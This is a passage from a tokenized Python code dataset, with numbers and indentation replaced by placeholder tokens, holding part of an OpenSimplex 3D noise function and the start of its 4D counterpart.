<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext0 -= <NUM_LIT:1><EOL>dy_ext0 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:1><EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsb<EOL>zsv_ext1 = zsb - <NUM_LIT:1><EOL>dz_ext0 = dz0<EOL>dz_ext1 = dz0 + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:1><EOL><DEDENT><DEDENT>else: <EOL><INDENT>c = (a_point | b_point) <EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb<EOL>xsv_ext1 = xsb - <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dx_ext1 = dx0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dx_ext1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysb<EOL>ysv_ext1 = ysb - <NUM_LIT:1><EOL>dy_ext0 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsb<EOL>zsv_ext1 = zsb - <NUM_LIT:1><EOL>dz_ext0 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL><DEDENT><DEDENT>attn0 = <NUM_LIT:2> - dx0 * dx0 - dy0 * dy0 - dz0 * dz0<EOL>if attn0 > <NUM_LIT:0>:<EOL><INDENT>attn0 *= attn0<EOL>value += attn0 * attn0 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, dx0, dy0, dz0)<EOL><DEDENT>dx1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy1 = dy0 - <NUM_LIT:0> - SQUISH_CONSTANT_3D<EOL>dz1 = dz0 - <NUM_LIT:0> - SQUISH_CONSTANT_3D<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, dx1, dy1, dz1)<EOL><DEDENT>dx2 = dx0 - <NUM_LIT:0> - SQUISH_CONSTANT_3D<EOL>dy2 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz2 = dz1<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, dx2, dy2, dz2)<EOL><DEDENT>dx3 = dx2<EOL>dy3 = dy1<EOL>dz3 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, dx3, dy3, dz3)<EOL><DEDENT><DEDENT>elif in_sum >= <NUM_LIT:2>: <EOL><INDENT>a_point = <NUM_LIT><EOL>a_score = xins<EOL>b_point = <NUM_LIT><EOL>b_score = yins<EOL>if a_score <= b_score and zins < b_score:<EOL><INDENT>b_score = zins<EOL>b_point = <NUM_LIT><EOL><DEDENT>elif a_score > b_score and zins < a_score:<EOL><INDENT>a_score = zins<EOL>a_point = <NUM_LIT><EOL><DEDENT>wins = <NUM_LIT:3> - in_sum<EOL>if wins < a_score or wins < b_score: <EOL><INDENT>c = b_point if (b_score < a_score) else a_point <EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb + <NUM_LIT:2><EOL>xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>dx_ext1 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb<EOL>dx_ext0 = dx_ext1 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext1 += <NUM_LIT:1><EOL>dy_ext1 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext0 += <NUM_LIT:1><EOL>dy_ext0 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsb + <NUM_LIT:1><EOL>zsv_ext1 = zsb + <NUM_LIT:2><EOL>dz_ext0 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb<EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL><DEDENT><DEDENT>else: <EOL><INDENT>c = (a_point & b_point) <EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb + <NUM_LIT:1><EOL>xsv_ext1 = xsb + <NUM_LIT:2><EOL>dx_ext0 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dx_ext1 = dx0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb<EOL>dx_ext0 = dx0 - SQUISH_CONSTANT_3D<EOL>dx_ext1 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysb + <NUM_LIT:1><EOL>ysv_ext1 = ysb + <NUM_LIT:2><EOL>dy_ext0 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy0 - SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsb + <NUM_LIT:1><EOL>zsv_ext1 = zsb + <NUM_LIT:2><EOL>dz_ext0 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb<EOL>dz_ext0 = dz0 - SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL><DEDENT><DEDENT>dx3 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy3 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz3 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, dx3, dy3, dz3)<EOL><DEDENT>dx2 = dx3<EOL>dy2 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz2 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, dx2, dy2, dz2)<EOL><DEDENT>dx1 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy1 = dy3<EOL>dz1 = dz2<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, dx1, dy1, dz1)<EOL><DEDENT>dx0 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>dy0 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>dz0 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>attn0 = <NUM_LIT:2> - dx0 * dx0 - dy0 * dy0 - dz0 * dz0<EOL>if attn0 > <NUM_LIT:0>:<EOL><INDENT>attn0 *= attn0<EOL>value += attn0 * attn0 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, dx0, dy0, dz0)<EOL><DEDENT><DEDENT>else: <EOL><INDENT>p1 = xins + yins<EOL>if p1 > <NUM_LIT:1>:<EOL><INDENT>a_score = p1 - <NUM_LIT:1><EOL>a_point = <NUM_LIT><EOL>a_is_further_side = True<EOL><DEDENT>else:<EOL><INDENT>a_score = <NUM_LIT:1> - p1<EOL>a_point = <NUM_LIT><EOL>a_is_further_side = False<EOL><DEDENT>p2 = xins + zins<EOL>if p2 > <NUM_LIT:1>:<EOL><INDENT>b_score = p2 - <NUM_LIT:1><EOL>b_point = <NUM_LIT><EOL>b_is_further_side = True<EOL><DEDENT>else:<EOL><INDENT>b_score = <NUM_LIT:1> - p2<EOL>b_point = <NUM_LIT><EOL>b_is_further_side = False<EOL><DEDENT>p3 = yins + zins<EOL>if p3 > <NUM_LIT:1>:<EOL><INDENT>score = p3 - <NUM_LIT:1><EOL>if a_score <= b_score and a_score < score:<EOL><INDENT>a_point = <NUM_LIT><EOL>a_is_further_side = True<EOL><DEDENT>elif a_score > b_score and b_score < score:<EOL><INDENT>b_point = <NUM_LIT><EOL>b_is_further_side = True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>score = <NUM_LIT:1> - p3<EOL>if a_score <= b_score and a_score < score:<EOL><INDENT>a_point = <NUM_LIT><EOL>a_is_further_side = False<EOL><DEDENT>elif a_score > b_score and b_score < score:<EOL><INDENT>b_point = <NUM_LIT><EOL>b_is_further_side = False<EOL><DEDENT><DEDENT>if a_is_further_side == b_is_further_side:<EOL><INDENT>if a_is_further_side: <EOL><INDENT>dx_ext0 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>dy_ext0 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>dz_ext0 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_3D<EOL>xsv_ext0 = xsb + <NUM_LIT:1><EOL>ysv_ext0 = ysb + <NUM_LIT:1><EOL>zsv_ext0 = zsb + <NUM_LIT:1><EOL>c = (a_point & b_point)<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>dx_ext1 = dx0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb + <NUM_LIT:2><EOL>ysv_ext1 = ysb<EOL>zsv_ext1 = zsb<EOL><DEDENT>elif (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>dx_ext1 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb<EOL>ysv_ext1 = ysb + <NUM_LIT:2><EOL>zsv_ext1 = zsb<EOL><DEDENT>else:<EOL><INDENT>dx_ext1 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb<EOL>ysv_ext1 = ysb<EOL>zsv_ext1 = zsb + <NUM_LIT:2><EOL><DEDENT><DEDENT>else:<EOL><INDENT>dx_ext0 = dx0<EOL>dy_ext0 = dy0<EOL>dz_ext0 = dz0<EOL>xsv_ext0 = xsb<EOL>ysv_ext0 = ysb<EOL>zsv_ext0 = zsb<EOL>c = (a_point | b_point)<EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>dx_ext1 = dx0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb - <NUM_LIT:1><EOL>ysv_ext1 = ysb + <NUM_LIT:1><EOL>zsv_ext1 = zsb + <NUM_LIT:1><EOL><DEDENT>elif (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>dx_ext1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb + <NUM_LIT:1><EOL>ysv_ext1 = ysb - <NUM_LIT:1><EOL>zsv_ext1 = zsb + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>dx_ext1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb + <NUM_LIT:1><EOL>ysv_ext1 = ysb + <NUM_LIT:1><EOL>zsv_ext1 = zsb - <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>else: <EOL><INDENT>if a_is_further_side:<EOL><INDENT>c1 = a_point<EOL>c2 = b_point<EOL><DEDENT>else:<EOL><INDENT>c1 = b_point<EOL>c2 = a_point<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>dx_ext0 = dx0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext0 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext0 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>xsv_ext0 = xsb - <NUM_LIT:1><EOL>ysv_ext0 = ysb + <NUM_LIT:1><EOL>zsv_ext0 = zsb + <NUM_LIT:1><EOL><DEDENT>elif (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>dx_ext0 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext0 = dy0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext0 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>xsv_ext0 = xsb + <NUM_LIT:1><EOL>ysv_ext0 = ysb - <NUM_LIT:1><EOL>zsv_ext0 = zsb + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>dx_ext0 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy_ext0 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz_ext0 = dz0 + <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>xsv_ext0 = xsb + <NUM_LIT:1><EOL>ysv_ext0 = ysb + <NUM_LIT:1><EOL>zsv_ext0 = zsb - <NUM_LIT:1><EOL><DEDENT>dx_ext1 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy_ext1 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz_ext1 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>xsv_ext1 = xsb<EOL>ysv_ext1 = ysb<EOL>zsv_ext1 = zsb<EOL>if (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>dx_ext1 -= <NUM_LIT:2><EOL>xsv_ext1 += <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>dy_ext1 -= <NUM_LIT:2><EOL>ysv_ext1 += <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>dz_ext1 -= <NUM_LIT:2><EOL>zsv_ext1 += <NUM_LIT:2><EOL><DEDENT><DEDENT>dx1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dy1 = dy0 - <NUM_LIT:0> - SQUISH_CONSTANT_3D<EOL>dz1 = dz0 - <NUM_LIT:0> - SQUISH_CONSTANT_3D<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, dx1, dy1, dz1)<EOL><DEDENT>dx2 = dx0 - <NUM_LIT:0> - SQUISH_CONSTANT_3D<EOL>dy2 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>dz2 = dz1<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, dx2, dy2, dz2)<EOL><DEDENT>dx3 = dx2<EOL>dy3 = dy1<EOL>dz3 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_3D<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, dx3, dy3, dz3)<EOL><DEDENT>dx4 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy4 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz4 = dz0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>attn4 = <NUM_LIT:2> - dx4 * dx4 - dy4 * dy4 - dz4 * dz4<EOL>if attn4 > <NUM_LIT:0>:<EOL><INDENT>attn4 *= attn4<EOL>value += attn4 * attn4 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, dx4, dy4, dz4)<EOL><DEDENT>dx5 = dx4<EOL>dy5 = dy0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dz5 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>attn5 = <NUM_LIT:2> - dx5 * dx5 - dy5 * dy5 - dz5 * dz5<EOL>if attn5 > <NUM_LIT:0>:<EOL><INDENT>attn5 *= attn5<EOL>value += attn5 * attn5 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, dx5, dy5, dz5)<EOL><DEDENT>dx6 = dx0 - <NUM_LIT:0> - <NUM_LIT:2> * SQUISH_CONSTANT_3D<EOL>dy6 = dy4<EOL>dz6 = dz5<EOL>attn6 = <NUM_LIT:2> - dx6 * dx6 - dy6 * dy6 - dz6 * dz6<EOL>if attn6 > <NUM_LIT:0>:<EOL><INDENT>attn6 *= attn6<EOL>value += attn6 * attn6 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, dx6, dy6, dz6)<EOL><DEDENT><DEDENT>attn_ext0 = <NUM_LIT:2> - dx_ext0 * dx_ext0 - dy_ext0 * dy_ext0 - dz_ext0 * dz_ext0<EOL>if attn_ext0 > <NUM_LIT:0>:<EOL><INDENT>attn_ext0 *= attn_ext0<EOL>value += attn_ext0 * attn_ext0 * extrapolate(xsv_ext0, ysv_ext0, zsv_ext0, dx_ext0, dy_ext0, dz_ext0)<EOL><DEDENT>attn_ext1 = <NUM_LIT:2> - dx_ext1 * dx_ext1 - dy_ext1 * dy_ext1 - dz_ext1 * dz_ext1<EOL>if attn_ext1 > <NUM_LIT:0>:<EOL><INDENT>attn_ext1 *= attn_ext1<EOL>value += attn_ext1 * attn_ext1 * extrapolate(xsv_ext1, ysv_ext1, zsv_ext1, dx_ext1, dy_ext1, dz_ext1)<EOL><DEDENT>return value / NORM_CONSTANT_3D<EOL>", "docstring": "Generate 3D OpenSimplex noise from X,Y,Z coordinates.", "id": "f16267:c0:m5"}
{"signature": "def noise4d(self, x, y, z, w):", "body": "<EOL>stretch_offset = (x + y + z + w) * STRETCH_CONSTANT_4D<EOL>xs = x + stretch_offset<EOL>ys = y + stretch_offset<EOL>zs = z + stretch_offset<EOL>ws = w + stretch_offset<EOL>xsb = floor(xs)<EOL>ysb = floor(ys)<EOL>zsb = floor(zs)<EOL>wsb = floor(ws)<EOL>squish_offset = (xsb + ysb + zsb + wsb) * SQUISH_CONSTANT_4D<EOL>xb = xsb + squish_offset<EOL>yb = ysb + squish_offset<EOL>zb = zsb + squish_offset<EOL>wb = wsb + squish_offset<EOL>xins = xs - xsb<EOL>yins = ys - ysb<EOL>zins = zs - zsb<EOL>wins = ws - wsb<EOL>in_sum = xins + yins + zins + wins<EOL>dx0 = x - xb<EOL>dy0 = y - yb<EOL>dz0 = z - zb<EOL>dw0 = w - wb<EOL>value = <NUM_LIT:0><EOL>extrapolate = self._extrapolate4d<EOL>if in_sum <= <NUM_LIT:1>: <EOL><INDENT>a_po = <NUM_LIT><EOL>a_score = xins<EOL>b_po = <NUM_LIT><EOL>b_score = yins<EOL>if a_score >= b_score and zins > b_score:<EOL><INDENT>b_score = zins<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score < b_score and zins > a_score:<EOL><INDENT>a_score = zins<EOL>a_po = <NUM_LIT><EOL><DEDENT>if a_score >= b_score and wins > b_score:<EOL><INDENT>b_score = wins<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score < b_score and wins > a_score:<EOL><INDENT>a_score = wins<EOL>a_po = <NUM_LIT><EOL><DEDENT>uins = <NUM_LIT:1> - in_sum<EOL>if uins > a_score or uins > b_score: <EOL><INDENT>c = b_po if (b_score > a_score) else a_po <EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb - <NUM_LIT:1><EOL>xsv_ext1 = xsv_ext2 = xsb<EOL>dx_ext0 = dx0 + <NUM_LIT:1><EOL>dx_ext1 = dx_ext2 = dx0<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsv_ext2 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx_ext1 = dx_ext2 = dx0 - <NUM_LIT:1><EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb<EOL>dy_ext0 = dy_ext1 = dy_ext2 = dy0<EOL>if (c & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>ysv_ext0 -= <NUM_LIT:1><EOL>dy_ext0 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext1 -= <NUM_LIT:1><EOL>dy_ext1 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy_ext2 = dy0 - <NUM_LIT:1><EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb<EOL>dz_ext0 = dz_ext1 = dz_ext2 = dz0<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>if (c & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>zsv_ext0 -= <NUM_LIT:1><EOL>dz_ext0 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 -= <NUM_LIT:1><EOL>dz_ext1 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext2 -= <NUM_LIT:1><EOL>dz_ext2 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz_ext2 = dz0 - <NUM_LIT:1><EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb<EOL>wsv_ext2 = wsb - <NUM_LIT:1><EOL>dw_ext0 = dw_ext1 = dw0<EOL>dw_ext2 = dw0 + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsv_ext2 = wsb + <NUM_LIT:1><EOL>dw_ext0 = dw_ext1 = dw_ext2 = dw0 - <NUM_LIT:1><EOL><DEDENT><DEDENT>else: <EOL><INDENT>c = (a_po | b_po) <EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsv_ext2 = xsb<EOL>xsv_ext1 = xsb - <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 + <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dx_ext2 = dx0 - SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsv_ext2 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx_ext2 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb<EOL>dy_ext0 